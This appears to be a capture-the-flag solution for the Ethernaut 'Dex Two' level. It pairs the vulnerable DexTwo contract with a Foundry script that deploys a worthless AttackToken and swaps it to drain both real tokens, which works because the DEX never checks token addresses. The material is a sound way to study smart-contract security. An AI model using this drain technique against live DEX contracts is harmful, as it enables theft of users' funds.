Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.
If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
make anvil-exploit-level-23
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-23
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level23.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// ================================================================
// │ LEVEL 23 - DEX TWO │
// ================================================================
contract AttackToken is ERC20 {
constructor(uint256 initialSupply) ERC20("AttackToken", "ATK") {
_mint(msg.sender, initialSupply);
}
}
script/Level23.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {AttackToken} from "src/Level23.sol";
// ================================================================
// │ LEVEL 23 - DEX TWO │
// ================================================================
interface IDex {
function token1() external view returns (address);
function token2() external view returns (address);
function swap(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
}
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IDex dex = IDex(targetContractAddress);
uint256 initialAtkSupply = 400;
vm.startBroadcast();
// Deploy AttackToken ATK
AttackToken atk = new AttackToken(initialAtkSupply);
// Transfer 100 ATK to DEX
atk.transfer(targetContractAddress, 100);
// Get token addresses
address token1 = dex.token1();
address token2 = dex.token2();
// Approve DEX to spend ATK
atk.approve(targetContractAddress, initialAtkSupply);
// Swap tokens
dex.swap(address(atk), token1, 100);
dex.swap(address(atk), token2, 200);
vm.stopBroadcast();
}
}